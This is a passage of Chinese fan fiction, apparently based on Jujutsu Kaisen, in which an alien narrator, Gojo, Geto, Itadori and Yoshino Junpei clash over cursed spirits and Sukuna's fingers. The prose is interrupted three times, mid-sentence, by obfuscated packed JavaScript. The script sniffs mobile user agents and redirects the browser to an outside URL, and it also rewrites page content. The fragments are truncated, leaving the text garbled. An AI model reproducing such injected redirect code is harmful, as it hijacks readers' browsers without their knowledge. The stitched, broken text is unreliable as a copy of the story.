RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295922|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人意外的是,站在对面教学楼天台的不是别人,正是下午才通过电话的夏油杰和被他诈骗的四大天灾之一,漏壶。 要说过去的几个月,夏油杰都在忙什么,在我看来归根结底就一件事,他在实现他生前的梦想——不,不是创造一个没有普通人的世界。 是成为一名出色的宝可梦训练师。 为了达成这一目标,他先是稳住现有的真人和漏壶,再在他们的掩护和指引下继续搜集剩下的两大天灾,他可真是个大忙人,忙的连约饭的时间都没有。 但看在他偶尔会送来几个还算美味的咒灵球的份上,我还是原谅了他一次又一次的推脱。 等他终于找到了花御和陀艮——也就是剩下的两大天灾时,我一面恭喜,一面向他发出吃饭邀请。 结果还是拒绝。 “就知道忙忙忙,一天到晚到底在忙些什么。”连我都开始抱怨,可知夏油杰的所作所为已经天怒人怨到了何种地步。 “没办法嘛,孩子长大了就是这样啦。”五条悟很喜欢趁这个时候蹭到我身边,胳膊搭在沙发靠背上,整个人一大半的重量都压在我身上。 他知道这种时候我不会管他的所作所为,因为有人替他分担怒火。 “你是他爸爸吗?嗯,这么算也是,所以你为什么不教好他,悟不是老师吗?为什么连自己的小孩都带不好,难道因为我们是重组家庭吗?那为什么惠就这么听话,虽然他也很少来看你,果然是这个原因吧,都是悟的错,就是因为你的教育方式有问题,他们两个才不想搭理我们。” 我也知道五条悟在憋笑,因为他很少能憋住。 “我也算是看着‘那孩子’长大了。”五条悟强忍笑意,结果又是答非所问。 我瞥了他一眼,没有接话。 是的,搜集完四大天灾还不够,夏油杰很快又给自己制定了新目标,特级咒物宿傩的手指。 而且他还大义凛然的说,这不止是为了一个人的成长和满足,更是为了世界和平。 世界和平。 外星人听了都想笑。 除了那几只缺心眼的咒灵,到底谁还在信他的鬼话。 夏油杰搜集手指的目的只有一个,当然不是因为好吃,这点我们都认证过了,两面宿傩的手指虽然烟熏风味十足,但太足了,说人话就是一股糊味,接近碳化物的程度。 夏油杰倒是接受良好,至少不难吃,而且还能提供大量咒力。 他现在的咒力来源主要有两个,一个是和我同源的那份,但由于我的咒力本质是自己现场用本体捏出来的,而他又只能共享我的基因信息,并没有继承我的能力,所以这份力量除了初始的一部分,剩下的都只能靠后天获取。 简单来说就是通过吃下含有咒力的存在,获取它们身上的咒力,主要就是咒灵—— 但我不知道以夏油杰现在的变态程度,从宝可梦训练师转行到西餐大厨汉尼拔他还需要多久。 夏油杰也觉得我很奇怪,按理说咒力越浓厚的东西应该越吸引我才对,但我的确对两面宿傩的遗体器官没有兴趣,甚至对封印解除后咒力暴涨的乙骨也表现平淡,时至今日,唯一能吸引我的人类还是只有五条悟。 每当聊到这个话题,夏油杰就会主动挂断电话,这个时候再找他约饭,他也会干脆利落的答应。 我认为这是重组家庭小孩的通病,尤其是夏油杰这种心思敏感的孩子,要不是他出生就已经成年,晚上说不定还会偷偷躲在被子里抹眼泪呢。 或者计划第二天早上溜进继父的卧室,把男人的牙刷往马桶水里塞—— 当我说到这个猜想的时候,五条悟正好在刷牙。 他见怪不怪的看了我一眼,继续乐滋滋的刷出一嘴泡沫。 顺带一提,起来洗漱的时候,他一般是不带眼罩或者墨镜的。 “继任父母和孩子的年龄差距过小果然是一个问题。”我严肃的点了点头。 “伦理剧真可怕。”吐完泡沫的五条悟笑着感慨。 不,伦理剧并不可怕,伦理剧不仅具有鉴赏价值还具备学习功能,孩子会在什么时候主动联系半个月见不着一次面的父母? 没错,掌心向上的时候。 “那根手指可以给我吗?”碍于漏壶在场,夏油杰没有直接叫我的名字。 看吧。 夏油杰还罩着脸,伏黑惠没有认出这是五条悟家相框里的人,而他也没有听过夏油杰的声音。 但长眼睛的人都看得出来站在旁边的漏壶不可能是人,于是两人的立场的就很明确了。 他但凡换个时候来我都能给他,反正我对两面宿傩的手指也没兴趣,但在伏黑惠面前,我还不能这么做,否则会破坏计划。 “你们走吧。”我开始配合演出。 漏壶的表现果然跟夏油杰说的一样,他一点轻蔑都忍不了,哪怕是曾经打得他再起不能的人。 “什么?这群人类小鬼碍你手脚了?”漏壶从容的开起了玩笑。 唉。 又要给伊地知添麻烦了。 “果然还是软弱的人——” 漏壶的脑袋被人当场拔下了。 看来不用我出手了。 他还没反应过来发生了什么,就被迫与这个取他首级的人对视—— “你这家伙,跟别人的女朋友乱说什么呢?” 五条悟不满皱眉。 20.想吃的第二十天 等漏壶反应过来,他的性命已经彻底落到他人手中了。 即便如此,他最先考虑的仍然不是自己,而是他们的计划,是绝对不能暴露在高专人士面前的夏油杰。 他认出了五条悟身上的制服,如果说站在远处的伏黑惠一看就是新生,没有办法只凭声音就识破夏油杰的身份,那么眼前这个人就不一样了。 漏壶察觉到二者之间的实力差距,而他要做的,不仅是保住自己的性命,更要掩护夏油杰撤退—— 等等。 怎么这么安静。 漏壶的眼珠子微不可察的向一边偏移,可即使是如此微小的幅度,也被五条悟看的一清二楚。 “找什么呢?”五条悟明知故问。 那家伙...已经撤退了。 漏壶咬牙切齿的想着,一边唾弃人类的狡猾,一边又庆幸对方反应及时,至少他们的计划保住了。 既然这样,他也没必要跟眼前这个人废话了。 漏壶已经做好了赴死的打算,只可惜他的伙伴还不想让他就这么进入轮回。 突然,水泥铺就的天台被鲜花覆盖,一阵诡异的清香瞬间笼罩所有人的鼻腔,五条悟趁势放松了手中的力度... 漏壶被带走了。 顷刻间,五条悟身边只剩下他一人。 “刚刚...发生了什么。”虎杖悠仁还在愣神,他下意识问的是跟他一起行动过的伏黑惠。 伏黑惠默而不语,他也不知道发生了什么。 更不知道,五条悟为什么要任由那两个人逃走。 哪怕那只咒灵看不出来,站在对面的他可是看的一清二楚,刚才的五条老师绝对是放水了。 “可恶,居然让他跑掉了。”我敷衍的遗憾道。 “啊,抱歉抱歉,没想到居然还有同伙,最近的咒灵真是太狡猾了。”五条悟摆了摆手,一边说,一边朝我们走来。 不等伏黑惠发问,他兴致高涨的举起手里的塑料袋—— “锵锵~看看这是什么。” 像展览会上的推销员似的,五条悟提着袋子在所有人面前晃了一圈,最后落到我面前,塑料袋堪堪擦过鼻尖。 “毛豆泥大福。”我说。 “啊”五条悟有些失落,“都已经想好介绍词了,没想到居然被艾利恩拆穿了,惊喜感都没有了。” 他嘟嘟囔囔的指责道,随后站到我和伏黑惠中间,几乎是挨着我的肩膀,也不嫌挤,语气自然的就问起了虎杖悠仁和他的前辈们,为什么大晚上不回家,待在学校天台。 我想提醒他来着,眼前这个叫虎杖的男孩就是羂索计划中的容器,从某种意义上来说,现在顶着羂索的身份招摇撞骗的夏油杰,是他真正意义上的母亲。 但是,到底要不要把这个消息告诉虎杖悠仁——关于这件事,我们还没有得出结论。 而且现在看来,虎杖悠仁对有关咒术界的事情根本毫不知情,既然羂索本人也被控制,想来让虎杖悠仁吞下手指,真真正正成为容器的计划...最终也只能是一个计划了。 眼下真正令我不解的,还是夏油杰刚才的举动。 他到底为什么要来这一趟?难道他真的以为我会当着伏黑惠的面把手指给他? 又或者,得到拒绝才是他真正的目的,如果是这样,看来他跟宝可梦的关系已经开始出现危机了。 不过也是,迟迟看不到宿傩现身,那边也是会着急的。 但是我们也说好了,不能真的把两面宿傩放出了让他祸害无辜的人类,既然如此,就只能让夏油杰自己加快进度了。 在我思考这些问题的时候,五条悟已经跟虎杖悠仁他们聊了起来,尤其是佐佐木,她对五条悟的瞬移很感兴趣,问他这是什么类型的诅咒。 “不是诅咒,是超能力。”五条悟双手插兜,一本正经道。 佐佐木大失所望,“是了,我就说,像您这种一看就是现充的大帅哥怎么都不会跟灵媒搭上边,至少也得是艾利恩小姐那样的。” 这到底是在夸我还说骂我。 五条悟一点也不在意被女孩子指出自己跟本职工作的不搭调的事实,甚至很高兴自己看上去根本不像咒术师。 “艾利恩说自己是咒术师吗?”他惊讶的问到。 某人终于开始转型了? 他玩味的看着我,我盯着他手里的毛豆大福,没有说话。 “不...这倒不是,艾利恩小姐她...”佐佐木也看了我一眼。 差点忘了,无业游民在人类社会中是评价很低的人群,虽然不是很能理解,但不影响我掌握这个事实。 “我说我靠男朋友养。”我替她回答道。 “噢~噢,原来如此。”五条悟恍然大悟的点了点头,一转头,他注意到三位过于沉默的男孩子。 惠就算了,他本来就闷骚。 留着寸头的男生看上去也没什么大碍,倒是那个最先开始说话的孩子...不会还在害怕吧? “你还好吗?这位看上去像是刚从家里洗完澡出来散步的同学~”五条悟随口起了个玩笑。 虎杖悠仁很想勉强自己笑出来,但危机一解除,下午那些被短暂封印的结束此刻又涌了上来。 在场的所有人里,除了伏黑惠,没有人知道他刚刚经历了至亲的离世。 那甚至是他唯一的亲人。 听到五条悟的话,佐佐木也看了过去,作为了解虎杖的人,她一眼就看出来这个从来不会让别人的话落到地上的学弟,此刻状态不对。 “虎杖?”她轻声问到。 听到这个姓氏,五条悟灵光一现,他默不作声的看向我。 我点了点头。 “没关系!”虎杖悠仁露出一个夸张到不自然的笑容,“真是吓了一跳啊,没想到现实里居然真的会有那种怪物,而且还会说话...” “‘怪物’?”井口眨了眨眼,像是听不懂虎杖在说什么。 “欸”虎杖张了张嘴,见伏黑惠扶额,才想起来普通人看不见诅咒的事情,但是话说回来... 他难道不是普通人吗? 而佐佐木也愣住了,“什么?井口你没看见吗?那个顶着火山头的咒灵,他还说话了呢。” 井口摇了摇头。 虎杖悠仁眉头皱的更紧了,难道是磁场问题?好歹也是灵研社的一员,他也听说过特殊的磁场环境会让灵异现象更容易被捕捉到的情况。 但为什么只有井口前辈看不见? 伏黑惠叹了口,无法再忍受闹剧的他主动担当起解说员的角色,简单介绍了一下诅咒的相关情况,但是没透露咒术界的事情。 虎杖悠仁听出他有所保留,出于信任,也没有拆穿他,只默默观察着另一边说着悄悄话的两人。 当众说小话就算了,还时不时往他这边扫上一眼,怎么可能不在意嘛! 虎杖悠仁深吸一口气,终于还说没忍住。 “那个...请问是关于我的问题吗?”他伸出食指,无奈指了指自己。 · 都怪五条悟。 “悟的动作太明显了。”我不满道。 “欸...怎么能怪我一个人,明明艾利恩也在说。”五条悟也不甘示弱,当场把锅分了我一半。 “也没什么,就是看虎杖同学有点眼熟,应该是在哪见过吧,家里人最近还好吗?”五条悟随口问到。 虎杖悠仁看了眼医院的方向,重新看向面前的两人。 “家里只剩下我和爷爷了,爷爷他...下午在医院过世了。” “抱歉。”五条悟说。 虎杖悠仁摇了摇头,“真的没关系,爷爷他虽然一直在住院,但走之前没有感受到痛苦,表情也很安详。” 但他是带着遗憾离世的。 这一点,虎杖悠仁没说。 我戳了戳五条悟,将收进口袋的手指拿了出来。 五条悟看了一眼,明白我的意思了。 “悠仁...抱歉,可以这么叫你吗?” 虎杖悠仁抬起头,懵懂的点了点。 因为在没有武器的情况下徒手祓除了走廊上的另一只咒灵,哪怕只是跑来凑热闹的三级咒灵,也足以表明虎杖悠仁具备作为咒术师的天赋。 当然了,最主要原因是哪怕算上他,整个一年级也只有三个人。 而考虑到和羂索勾结的蟑螂人们还躲在暗处,随时可能通过羂索之前留下的指示对他出手,所以与其另找借口派人盯梢,不如问问他本人的意愿。 而虎杖悠仁在得知自己的身世后表示,愿意放弃作为普通人的生活,入学咒术高专,并配合我们的计划,把背后的阴谋者一并铲除。 回去的路上只剩下我、五条悟、伏黑惠和他四人。 路上他问了我们一个问题: “听五条老师的意思,你们之前还在犹豫要不要告诉我真相吧,现在又是为什么....”问出这句话的时候,虎杖悠仁的视线在我和五条悟之间打转。 “如果一个人失去了和世界上的所有联系,那么‘诞生’,就是他与这个世界最后的联系,也是绝对无法抹消的联系,就连死亡也不行。” 虎杖悠仁想起自己说爷爷去世时,艾利恩作出的反应。 所以...是怜悯吗。 “原来如此,谢...” “为什么要道谢?”我不解的看向他。 “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304346|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...因为...”明明是自己受人恩惠,虎杖悠仁却觉得说不出口,要知道他可是从来不吝赞美与感激的。 见他不说话,我又收回视线。 “因为我是这么认为的,所以我才想这么做。” “更何况,这也不是我一个人的决定。” 说完,我看向走在一边,微笑着听完了全程的五条悟。 虎杖悠仁用他出色的情商判断出眼下不应该再次道谢,这样会让气氛尴尬。 于是他决定另起一个话题—— “艾利恩小姐也是咒术师吗?”虽然她好像不是很想承认,听五条老师之前的意思。 宁可说自己是靠男朋友养的,也不想被人当作咒术师。 “我没有骗佐佐木啊。”我无奈道。 哈? 这话虎杖悠仁一时不知该怎么接。 五条悟捕捉到这份僵硬,好心建议道:“不如问问艾利恩小姐的男朋友是从事什么工作的吧?艾利恩不在意这些噢。” 不排斥被人打听感情生活?看来是跟男朋友感情很好了,不愧是五条老师,连这种事都知道。 虎杖悠仁默默在内心给老师点赞。 “那艾利恩小姐的男朋友...” “是咒术师。” “欸?”虎杖悠仁愣了一瞬,但很快也觉得这样才比较合理,这样就能解释艾利恩为什么会和咒术师一起行动了。 他开朗的笑着,熟练的拉近关系:“说不定以后还有机会见到呢。” “不用以后吧?”五条悟一脸无辜的指了指自己—— “现在不就见到了吗?” 虎杖悠仁过于错愕的反应让他被五条悟念叨了很久,都是一些居然被学生认为和女朋友看上去一点也不般配真的超伤心,明明都这样那样暗示了的废话。 以至于回到东京,一和同为新生的钉崎野蔷薇碰头,虎杖悠仁就用一副前辈的口吻叮嘱她,待会见到艾利恩的时候,一定不能犯他那样的错误。 对此,钉崎野蔷薇的反应是—— “哈?那家伙居然有女朋友?” “五条老师好歹也算帅哥,收入也不错,有交往对象很正常吧。”伏黑惠忍不住说了句公道话。 “同为男性的你可以不要这样一本正经的说别的男人很适合交往吗...有点恶心。” “如果伏黑你是homo的话就当我没说。”钉崎野蔷薇补上一句。 伏黑惠心想自己就多余说这么一嘴,但姑且还是澄清:“我不是,而且‘homo’这种说法也不算很尊重吧。” “听错了吧?我没有跟你道歉噢。”钉崎野蔷薇一脸坏笑。 “啊,那还真是抱歉!”伏黑惠语速加快,谁都听得出来他想快点结束这个话题。 只有虎杖悠仁还在担心。 钉崎那家伙,到底会不会把事情搞砸啊,他可再也不想听五条老师一整周的抱怨了。 钉崎野蔷薇随手按了按门铃。 没过多久,门开了,但开门的不是他们熟悉的老师,而是一个穿着家居服,扎着黑发侧边辫的女人。 泛着光泽的辫子蓬松的垂在胸前,两边的耳后还有两缕弧度恰到好处的发丝,简直像是时尚杂志上剪下来的造型。 衣服...倒是有点朴素了,宽领t恤和家居裤都是灰色,应该是成套的,但深浅度适中的统一颜色,反而将本就白的惊人的肤色衬出几分透明感,很难不让人怀疑这看似随意的穿搭背后,也暗藏心机。 “...你好。”还在思考的钉崎野蔷薇招呼打的有些犹豫。 “早上好!艾利恩!”生怕钉崎野蔷薇说错话的虎杖赶紧提醒到。 他的嗓门还是那么大,尤其是在刚开门的时候。 “你们好,早上好。”我一个一个回应着。 “早上好~来得真早啊,你们几个。”五条悟站在我身后,朝几人打招呼。 钉崎野蔷薇皱了皱眉。 虎杖悠仁的心脏已经提到了嗓子眼——只听见她说: “谁?” ... 虎杖悠仁放心了,原来只是没认出摘下眼罩的五条老师啊,那没事了。 话说五条老师今天为什么不带眼罩。 “Good looking guy Gojo satoru deisi” 钉崎野蔷薇的嫌弃已经溢于言表,“拍情侣杂志吗。” 居然连家居服都穿一样的...话说应该不便宜吧,总感觉。 落在最后的虎杖难得被伏黑惠吐槽了,“看来不需要你担心了。” 虎杖悠仁含泪表示同意: 钉崎,真是太小看你了。 21.想吃的第二十一天 “那个就是宿傩容器?” 在陀艮的领域里养好伤势的漏壶,满脸狐疑的看着躺在沙滩椅上看杂志的夏油杰。 “没错,不过你也看出来了,除非能将五条悟支走,不然我们也没机会下手。”一边说,夏油杰一边将美食杂志翻到最后一页。 望梅止渴还真难啊,真不知道那家伙是怎么忍住摆在面前的食物,却连嘴都不动的。 难道是身为外星人的天赋吗。 “啧。”漏壶有些不耐烦了。 不是因为等待的时间,而是因为这接二连三的受挫。 不止是输的毫无还手之力,他甚至连出招的机会都没有,要么就是脑袋被人捅了个对穿,要么就被连根拔起。 如果说第一次还是对方手下留情,那么刚才的状况,如果不是花御及时出手,他连在这里跟几人说话的机会都没有。 而且不知道为什么,看着夏油杰这副悠哉游哉的样子,他就更来气了。 人类。 他果然讨厌这种东西。 如果说之前还只是轻蔑,眼下就是发自内心的厌恶。 “真人,你身上的禁制还没解除吗。”漏壶干脆换了个提问对象。 正坐在海边,盯着脚边的浪花一涨一退的真人闻声抬头,却没有回首去看向他发问的漏壶,而是继续望向不远处的海平线。 “已经解除了哦。” 他一直在想,该怎样跟那家伙打招呼,才算合格的见面礼。 至于他想要的回礼,也很简单,只要她露出大吃一惊的样子,他就勉强原谅她了。 但应该原谅的是哪件事呢? 是她将自己抛在脑后,还是打算把自己当成食物分享给别人。 真人也想过要不要去他们第一次见面的地方大闹一通,好让她后悔一番自己的所作所为,可他又清清楚楚的知道,她根本不在乎那些普通人的性命。 她只是不想他给她惹麻烦,既然这样...他就来试着成为她最大的麻烦好了。 这下总不会再被忘了吧。 在此之前,先去搜集一点灵感,从她最喜欢的电影里。 说起来,他还不知道她最喜欢什么样的电影呢,见面的时候问问她好了。 “真人,你这是要去哪?”夏油杰头也不抬的问。 真人脚步一顿,慢慢回头,笑容真挚—— “约会。” · 吉野顺平像往常一样逃学去了附近的电影院,不巧的是,前排也坐着几个和他一样逃学的不良少年,但他们没有身为观影者的自觉,只当台词是聊天的BGM,肆无忌惮的制造着噪音。 吉野顺平神色冷漠的继续盯着屏幕,内心却升起烦躁,直到这份愤懑爬上脸颊。 突然,噪音消失了。 他瞪大双眼,看着昏暗中扭曲的人体,过了一会才反应过来去追上两人—— “那个。” 走在前面的人回过头,借助暗巷外残余的光线,吉野顺平看清了两人的样子。 如果没看错的话,是那位下的手。 他将视线定格在其中一人身上,继续问道: “电影院那件事,是你下的手吗?” 注意到他问话的对象不是自己而是真人,夏油杰微微挑眉。 见夏油杰没有说话,真人才回过头: “你看得见我啊。” 从那天起,巷口下方的下水道,就变成了吉野顺平新的逃课地点。 杀人的是真人,就和他想的一样,他不是人类,而是咒灵。 而那个对他人的惨状无动于衷的,则是夏油杰,他不是咒灵,而是货真价实的人类。 夏油杰总是礼貌的在一旁微笑,不像真人,会自然而然的接过话题,或者向他展示自己的新作品,各种奇形怪状的人类,失去生机的人类。 吉野顺平承认自己是个怪胎,但在看到同样身为人类的夏油杰也是袖手旁观时,不得不说,这让他长久以来怀有的,那种被世界所排斥的微妙情绪得到了缓解。 没错,他才不是因为被那群渣滓针对所以心理扭曲,他只是不想像个随波逐流的垃圾桶一样,什么自以为是的道理都来者不拒的接受,哪怕代价是成为欺凌的对象。 但他也清楚,有些东西从来都和他自己的想法无关,不得不承认,这个世界从来也不是属于强者,而是那些彼此附和的大多数,他们之中或许也会有那么一两个头领,但本质也没什么区别。 都是人云亦云,假意逢和。 但是... 对于夏油先生的存在而感到安心的自己,和他们又有什么区别呢? “我在这里打扰你们了吗?”夏油杰揣着袖子,漫不经心的问。 吉野顺平愣了一会,才反应过来他是在和自己说话。 这还是他第一次听夏油杰和自己说话。 惊讶之下他摇了摇头,竟忘记回答。 他看见夏油杰轻笑一声,站直身体,不再倚靠于墙壁,而是不打一声招呼的就朝外走去。 吉野顺平看了眼真人,他看了一眼夏油杰的背影,像是习惯了一样,自然的收回视线,继续摆弄手上那些形状各异的小改造人。 说实在的,这些天来他虽然经常看到两人出现在一起,但从未见他们有过什么实质性的交流,他甚至觉得两人关系不好,偏偏他们两个看上去都不像会勉强自己和不喜欢的人待在一起的家伙。 所以吉野顺平不懂,在夏油先生和真人先生之间,充当着微妙的平衡点的,究竟是一种什么样的约定或者存在。 不知是出于何种心理,最后他还是追了上去,真人没管两人的去留,毕竟他们迟早还会回来。 等吉野顺平追上独自离开的夏油杰时,他发现自己已经站在马路中央,所幸还是绿灯,夏油杰的身高放在人群里也不容易被淹没,吉野顺平很快就找到了他,但他发现此刻的夏油杰面前还站着一个不认识的人。 一个女人。 黑发黑眼,气质比起阴郁更像是一种无机质的冰冷,仿佛她不是活物,只是一件聚光灯下的展品。 当然,这里也没有为她准备的打光,但只要站在那里,你的视线就会不自觉被她吸引,像是人在海边就是会想看海,站在夜空之下就想抬头仰望天上的繁星,而雾气弥漫星辰隐匿的夜晚又追逐月光。 那是一种无关情欲的冲动,驱使这份冲动的本能名为好奇。 “你朋友?”对面的女人突然看向自己说话了。 夏油杰像是早就猜到他已经追了上来,甚至没有回头确认,就说:“这你得问顺平。” 朋友...连话都没完整的说过一句的也算朋友吗,夏油先生的交友标准是否过于宽泛了呢。 “大、大概。” 说完,吉野顺平恨不得把舌头都吞下去。 这叫什么回答,要么干脆否认,要么痛快承认,什么叫大概,这样的回答不是连主见都失去了吗? “看来你们还没认识多久”我说,“只有你们两个人吗?” 夏油杰不跟他的宝可梦们一起玩了? 听到这个问题,吉野顺平瞳孔一缩,她在打听真人先生? 他记得真人先生说过,这个世界上也有像他一样能看见诅咒的人,而那些往往以正义之士自居的,就是所谓的咒术师。 剩下那些,就是像夏油先生一样的诅咒师,因为做了不被‘主流’所认可的事情,就成了站在人类对面的敌人。 看这个人跟夏油先生说话的态度,他似乎应该把她当成诅咒师,但她打探真人先生消息的行径,又让结论动摇。 “咒灵也是需要私人空间的。”夏油杰仿佛很是无奈,话里话外的意思仿佛真人是个需要包容的孩子,而他所作的一切,都是无奈之下的迁就。 “我的触须被他丢出去了,现在在找他算账,你有他的消息吗?”我开门见山道。 “方便问一下他丢哪了吗?”夏油杰像在强忍着什么。 虽然看出他是在幸灾乐祸,但眼下还有求于人,我只能装作没看见。 “儿童公园的沙地里。”我面无表情道。 旁边还摆了两个沙子堆成的小人,一个他,一个我,不得不说他在手工这块还算有天赋,只可惜他没有真依那样的才能,无为转变虽然能在原有的基础上创造出全新的事物,但本质也只是改造与转换,和创造有着本质的不同,也绝对无法跨越那道只有创造才能打破的界限。 在夏油杰说话之前,我又追问一句: “那家伙杀人了吧。” 夏油杰默而不语,却也没有否认。 “是又怎样”吉野顺平突然开口。 我和夏油杰都有些惊讶,顺理成章的,他成了这场对话的焦点。 “嗯...” 该怎么跟他解释呢,太复杂的话题不想说,从头到尾说明又太浪费时间,我预感真人就在附近,再这样耗下去说不定就要错过了。 “既然他杀了人,我就得杀了他,这是我们约好的。”我简明扼要的概括到。 虽然只是我单方面的恐吓就是了。 “连理由都不问,只用粗暴的标准就判定对错,这就是你们的正义吗。” “你是不是搞错什么了,这是我一个人的事情。” 可惜他没有把我的解释听进去。 “那如果我说,我也杀了人呢。” “你这是在自首?”我歪了歪头,有点搞不懂现在的年轻人在想什么了,“原来你是这个意思啊,不过你真的搞错了,我不是警察,你有没有杀人,都跟我没关系。” “所以是因为真人先生是咒灵,你们才能直接对他处刑,或者用你们的话说...是‘祓除’,对吧。” “这倒是没错。”我点点头。 “什么啊,所以跟杀没杀人根本没关系吧?你也根本不在乎其他人的性命,只是单纯的把谁看作敌人,随便找个理由对别人下手罢了,既然这样,还问那个问题干什么呢?” 他一口气说了很多,连他自己都没想到自己居然会对一个陌生人说出自己真实的想法,是真人先生改变了他? 不,是他本来就是这样想的,只是一直压抑着真实的自我,真人先生只是引导他,发掘他的真实。 这些话听上去很没礼貌,对一个又没有对他做过什么过分的事情的人来说,如此尖锐的指责,也很不公平,但这就是他真实的想法。 “虽然不知道你为什么这么生气,但我觉得你好像一直在误会一些不存在的东西。” “我的确不在乎他有没有杀人,但有人在乎,而那个人对我来说很重要,如果被他知道我故意放跑了一个会到处杀人的家伙,间接害死了很多人的话,就算是他,也很难不迁怒到我身上。” 不知是想到了什么,又或者是想到了谁,方才燃起的喧嚣与来自灵魂深处的躁动突然恢复平静,但疑云还挥之不去,只差最后一个问题: “那个人...是人类吗?” 我听见吉野顺平这么问我。 我叹了口气,在他略显错愕的眼神中开口,声音里带着一丝无意识的笑意—— “就因为是人类,所以才这么麻烦啊。” “人类这种东西,又脆弱,又多疑,斤斤计较,还贪得无厌,任性起来根本不讲道理,偏偏在你以为搞砸的时候,又出尔反尔。” 吉野顺平已经搞不懂她在说什么了,她说的是同一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316103|196577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人吗? “那不是很讨厌吗。” 一时找不到更合适的用词,吉野顺平只能用上这个在他看来有些幼稚的词汇。 “讨厌的时候也很讨厌,但是大部分时候还是很喜欢的。” 很喜欢。 她说的是很喜欢吗。 吉野顺平默默咀嚼着这个形容,他还以为会是‘不讨厌’之类模棱两可的表述,但她说的甚至不是普通的‘喜欢’,而是‘很喜欢’,是没有犹豫,没有模糊地带的感情。 他抬头看向眼前的人,实在很难相信那样肯定的告白居然出自她的口中。 “所以,现在能告诉我真人在哪了吧?” 夏油杰笑了笑,“还以为这次也会叫我一起去吃饭呢。” “抱歉,我最近对你意见很大,不想和你一起吃饭。” 好直白。吉野顺平默默感慨。 “不能交给我来吗?真人的能力对我来说还挺有用的,不止是食物这么简单。”夏油杰终于坦白。 “你没有看好他。” “唔,这也不能怪我吧,毕竟我也算刚刚才知道你还有这种要求,以后会看好的,不让他对人类动手。” “什么时候动手,告诉我一声” 说完,我又看向站在一边的男生—— “顺平好像还挺喜欢真人的,你打算怎么办?” 夏油杰微笑着,笑意盈盈的看着僵在原地的男生: “你也看到了吧,这家伙可不是那么容易糊弄的,这段时间就麻烦你跟我一起行动了。” 在艾利恩离开以后,夏油杰突然提出要去拜访吉野顺平的母亲。 后者自然是警惕,但他又说:“你难道不好奇我跟那个人的关系?” 吉野顺平没有点头,但迟疑的神色还是暴露他的内心。 “是‘妈妈’哦,这样算的话,你已经见过我妈妈了,既然是朋友,不应该也把我介绍给你的家人吗?而且...” 夏油杰声音一轻—— “身为学生,这么长时间不去学校,也不能回家,总得给家人一个交代吧,我可不想被家长找麻烦。” 最后,吉野顺平还是答应了他的要求,毕竟就像他说的,为了避免妈妈过度担心,反而不小心惹怒他,还是选择相信更为保险。 更何况,这些天的观察下来,夏油杰虽然没阻止过真人,但他的确也没有对普通人出过手,虽然他觉得那只是因为他对普通人不感兴趣。 然而等他们回到家,看到自称为盘星教教主、背后又兼任特殊能力教师的夏油杰将母亲哄得团团转时,吉野顺平才发现此人的可怕之处。 哪怕他对眼前的人毫无兴趣,他也能让对方相信自己的话。 而且就像他说的那样,母亲的确在网上找到了盘星教的消息,出乎意料的是,截至去年十二月底,盘星教的风评都很不错,甚至还有很多人留言那是能真正解决问题的教团,而不是只会吞吃教金骗人教派。 至于这段时间的低调作风,在夏油杰的解释下,也是将教会经营的重心转向搜集、培养像吉野顺平这样特殊的孩子。 “您可能不知道,顺平君这样的孩子们是不适合和普通人生活在一起的,明明只是怀有才能,却被普通人排挤欺侮,这些都是常有的事情。” 最后打动吉野顺平母亲的,是这样的一句话。 后来吉野顺平才知道,这也是夏油杰那天说的为数不多的一句真话。 吉野顺平的母亲本来已经打算直接帮他办退学了,但因为夏油杰说他们那边还没有能接收学籍的教育机构,最好还是先只办休学好了,以后还能有更多选择。 这让吉野顺平的母亲对他更放心了。 收拾好行李,吉野顺平跟在夏油杰的身后,两人走到路边停着的一辆黑色轿车旁,司机摇下车窗,看到两人后就下车打开后备箱,主动接过吉野顺平的行李,但他对夏油杰的态度又不像是对待自己的雇主。 “就是这孩子吗?”他自然的跟夏油杰打了声招呼,连称谓都没有。 “嗯,这是新来的家人,我已经跟菜菜子和美美子说过了,其他人那边就拜托你了。” “噢噢,了解”放完行李,那人走到吉野顺平面前,见他面色紧张,也不急于多说什么,只是拍了拍他的肩膀,叫他安心上车。 “那里都是和你一样的人,就像夏油大人说的,我们都是彼此的家人。” 但吉野顺平注意到的是他最后才说出口的称谓,是很尊敬的敬称,但他们说话的语气又平常到仿佛只是普通的友人,还是该用他们的说法... 家人。 被咒术师找上门,已经是吉野顺平住进盘星教的第三天的事情了。 他从菜菜子口中听说了关于夏油杰过去的事情,远比看上去好相处的女生一点也不避讳相关话题,因为她说夏油杰本人也不在意,所以她们不会替他擅作主张的计较什么。 也是得益于此,吉野顺平一眼就认出了虎杖悠仁身上的高专制服,也隐约猜到对方此行的目的。 应该是想侧面打听电影院的事情吧,毕竟当时能被监控拍下来的只有他和夏油先生,后者又一直戴着兜帽。 “不是退学,是休学,有什么事吗?”吉野顺平耐心道。 过于平静的反应反而让虎杖悠仁心下生疑,从监控画面来看,对方不像对事故一无所知的样子。 